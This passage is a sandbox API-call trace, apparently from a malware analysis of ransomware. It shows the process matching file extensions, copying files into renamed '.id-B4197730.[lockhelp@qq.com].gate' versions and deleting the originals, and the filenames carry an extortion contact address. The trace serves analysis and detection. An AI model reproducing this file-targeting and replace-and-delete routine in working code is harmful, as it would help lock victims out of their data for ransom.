(lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0113.963] lstrlenW (lpString=".doc") returned 4 [0113.963] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0113.963] lstrlenW (lpString=".docx") returned 5 [0113.963] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0113.963] lstrlenW (lpString=".pdf") returned 4 [0113.963] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0113.963] lstrlenW (lpString=".xls") returned 4 [0113.963] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0113.963] lstrlenW (lpString=".xlsx") returned 5 [0113.963] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0113.963] lstrlenW (lpString=".ppt") returned 4 [0113.964] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0113.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0113.964] lstrlenW (lpString=".zip") returned 4 [0113.964] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0113.964] lstrlenW (lpString=".rar") returned 4 [0113.964] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0113.964] lstrlenW (lpString=".bz2") returned 4 [0113.964] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0113.964] lstrlenW (lpString=".7z") returned 3 [0113.964] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0113.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0113.964] lstrlenW (lpString=".dbf") returned 4 [0113.964] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0113.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0113.964] lstrlenW (lpString=".1cd") returned 4 [0113.964] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0113.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0113.964] lstrlenW (lpString=".jpg") returned 4 [0113.964] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0113.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0113.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0113.964] lstrlenW (lpString=".doc") returned 4 [0113.964] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0113.964] lstrlenW (lpString=".docx") returned 5 [0113.964] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0113.965] lstrlenW (lpString=".pdf") returned 4 [0113.965] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0113.965] lstrlenW (lpString=".xls") returned 4 [0113.965] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0113.965] lstrlenW (lpString=".xlsx") returned 5 [0113.965] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0113.965] lstrlenW (lpString=".ppt") returned 4 [0113.965] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0113.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0113.965] lstrlenW (lpString=".zip") returned 4 [0113.965] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0113.965] lstrlenW (lpString=".rar") returned 4 [0113.965] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0113.965] lstrlenW (lpString=".bz2") returned 4 [0113.965] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0113.965] lstrlenW (lpString=".7z") returned 3 [0113.965] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0113.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0113.965] lstrlenW (lpString=".dbf") returned 4 [0113.965] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0113.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0113.965] lstrlenW (lpString=".1cd") returned 4 [0113.965] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0113.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0113.965] lstrlenW (lpString=".jpg") returned 4 [0113.965] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0113.966] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.966] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22 [0113.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0114.013] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=4136) returned 1 [0114.014] CloseHandle (hObject=0x314) returned 1 [0114.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0114.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0114.014] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.014] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0114.017] GetLastError () returned 0x0 [0114.018] ReadFile (in: hFile=0x314, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x1028, lpOverlapped=0x0) returned 1 [0114.051] WriteFile (in: hFile=0x30c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x1030, lpOverlapped=0x0) returned 1 [0114.052] ReadFile (in: hFile=0x314, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0114.052] WriteFile (in: hFile=0x30c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x100, lpOverlapped=0x0) returned 1 [0114.052] SetEndOfFile (hFile=0x30c) returned 1 [0114.052] CloseHandle (hObject=0x30c) returned 1 [0114.053] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.053] SetEndOfFile (hFile=0x314) returned 1 [0114.054] CloseHandle (hObject=0x314) returned 1 [0114.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0114.054] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0114.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0114.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0114.055] lstrlenW (lpString=".doc") returned 4 [0114.055] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.055] lstrlenW (lpString=".docx") returned 5 [0114.055] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0114.055] lstrlenW (lpString=".pdf") returned 4 [0114.055] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.055] lstrlenW (lpString=".xls") returned 4 [0114.055] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.055] lstrlenW (lpString=".xlsx") returned 5 [0114.055] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0114.055] lstrlenW (lpString=".ppt") returned 4 [0114.055] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0114.055] lstrlenW (lpString=".zip") returned 4 [0114.055] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.055] lstrlenW (lpString=".rar") returned 4 [0114.055] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.056] lstrlenW (lpString=".bz2") returned 4 [0114.056] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.056] lstrlenW (lpString=".7z") returned 3 [0114.056] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0114.056] lstrlenW (lpString=".dbf") returned 4 [0114.056] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0114.056] lstrlenW (lpString=".1cd") returned 4 [0114.056] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0114.056] lstrlenW (lpString=".jpg") returned 4 [0114.056] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0114.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0114.056] lstrlenW (lpString=".doc") returned 4 [0114.056] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.056] lstrlenW (lpString=".docx") returned 5 [0114.056] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0114.056] lstrlenW (lpString=".pdf") returned 4 [0114.056] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.056] lstrlenW (lpString=".xls") returned 4 [0114.056] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.056] lstrlenW (lpString=".xlsx") returned 5 [0114.056] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0114.056] lstrlenW (lpString=".ppt") returned 4 [0114.057] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0114.057] lstrlenW (lpString=".zip") returned 4 [0114.057] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.057] lstrlenW (lpString=".rar") returned 4 [0114.057] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.057] lstrlenW (lpString=".bz2") returned 4 [0114.057] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.057] lstrlenW (lpString=".7z") returned 3 [0114.057] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0114.057] lstrlenW (lpString=".dbf") returned 4 [0114.057] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0114.057] lstrlenW (lpString=".1cd") returned 4 [0114.057] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0114.057] lstrlenW (lpString=".jpg") returned 4 [0114.057] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.057] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.057] lstrlenW (lpString="Alphabet.xml") returned 12 [0114.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0114.087] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=791421) returned 1 [0114.087] CloseHandle (hObject=0x350) returned 1 [0114.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0114.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0114.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0114.096] lstrlenW (lpString=".doc") returned 4 [0114.096] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.096] lstrlenW (lpString=".docx") returned 5 [0114.096] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0114.096] lstrlenW (lpString=".pdf") returned 4 [0114.096] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.096] lstrlenW (lpString=".xls") returned 4 [0114.097] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.097] lstrlenW (lpString=".xlsx") returned 5 [0114.097] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0114.097] lstrlenW (lpString=".ppt") returned 4 [0114.097] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0114.097] lstrlenW (lpString=".zip") returned 4 [0114.097] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.097] lstrlenW (lpString=".rar") returned 4 [0114.097] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.097] lstrlenW (lpString=".bz2") returned 4 [0114.097] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.097] lstrlenW (lpString=".7z") returned 3 [0114.097] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0114.097] lstrlenW (lpString=".dbf") returned 4 [0114.097] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0114.097] lstrlenW (lpString=".1cd") returned 4 [0114.097] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0114.097] lstrlenW (lpString=".jpg") returned 4 [0114.097] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0114.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0114.098] lstrlenW (lpString=".doc") returned 4 [0114.098] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.098] lstrlenW (lpString=".docx") returned 5 [0114.098] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0114.098] lstrlenW (lpString=".pdf") returned 4 [0114.098] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.098] lstrlenW (lpString=".xls") returned 4 [0114.098] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.098] lstrlenW (lpString=".xlsx") returned 5 [0114.098] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0114.098] lstrlenW (lpString=".ppt") returned 4 [0114.098] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0114.098] lstrlenW (lpString=".zip") returned 4 [0114.098] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.098] lstrlenW (lpString=".rar") returned 4 [0114.098] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.098] lstrlenW (lpString=".bz2") returned 4 [0114.098] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.098] lstrlenW (lpString=".7z") returned 3 [0114.098] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0114.098] lstrlenW (lpString=".dbf") returned 4 [0114.098] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0114.099] lstrlenW (lpString=".1cd") returned 4 [0114.099] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0114.099] lstrlenW (lpString=".jpg") returned 4 [0114.099] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.099] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0114.099] lstrlenW (lpString="correct.avi") returned 11 [0114.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0114.153] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=180172) returned 1 [0114.153] CloseHandle (hObject=0x350) returned 1 [0114.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0114.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0114.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0114.153] lstrlenW (lpString=".doc") returned 4 [0114.153] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.153] lstrlenW (lpString=".docx") returned 5 [0114.153] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0114.154] lstrlenW (lpString=".pdf") returned 4 [0114.154] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.154] lstrlenW (lpString=".xls") returned 4 [0114.154] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.154] lstrlenW (lpString=".xlsx") returned 5 [0114.154] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0114.154] lstrlenW (lpString=".ppt") returned 4 [0114.154] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0114.174] lstrlenW (lpString=".zip") returned 4 [0114.174] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.174] lstrlenW (lpString=".rar") returned 4 [0114.174] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.174] lstrlenW (lpString=".bz2") returned 4 [0114.174] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.174] lstrlenW (lpString=".7z") returned 3 [0114.174] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0114.174] lstrlenW (lpString=".dbf") returned 4 [0114.174] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0114.174] lstrlenW (lpString=".1cd") returned 4 [0114.174] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0114.174] lstrlenW (lpString=".jpg") returned 4 [0114.174] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0114.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0114.175] lstrlenW (lpString=".doc") returned 4 [0114.175] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.175] lstrlenW (lpString=".docx") returned 5 [0114.175] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0114.175] lstrlenW (lpString=".pdf") returned 4 [0114.175] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.175] lstrlenW (lpString=".xls") returned 4 [0114.175] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.175] lstrlenW (lpString=".xlsx") returned 5 [0114.175] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0114.175] lstrlenW (lpString=".ppt") returned 4 [0114.175] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0114.175] lstrlenW (lpString=".zip") returned 4 [0114.175] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.175] lstrlenW (lpString=".rar") returned 4 [0114.175] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.175] lstrlenW (lpString=".bz2") returned 4 [0114.175] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.175] lstrlenW (lpString=".7z") returned 3 [0114.175] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0114.175] lstrlenW (lpString=".dbf") returned 4 [0114.175] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0114.175] lstrlenW (lpString=".1cd") returned 4 [0114.175] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0114.175] lstrlenW (lpString=".jpg") returned 4 [0114.175] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.175] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0114.176] lstrlenW (lpString="split.avi") returned 9 [0114.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0114.178] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=181964) returned 1 [0114.178] CloseHandle (hObject=0x350) returned 1 [0114.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0114.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0114.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0114.178] lstrlenW (lpString=".doc") returned 4 [0114.178] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.178] lstrlenW (lpString=".docx") returned 5 [0114.178] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0114.178] lstrlenW (lpString=".pdf") returned 4 [0114.178] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.178] lstrlenW (lpString=".xls") returned 4 [0114.179] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.179] lstrlenW (lpString=".xlsx") returned 5 [0114.179] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0114.179] lstrlenW (lpString=".ppt") returned 4 [0114.179] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0114.179] lstrlenW (lpString=".zip") returned 4 [0114.179] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 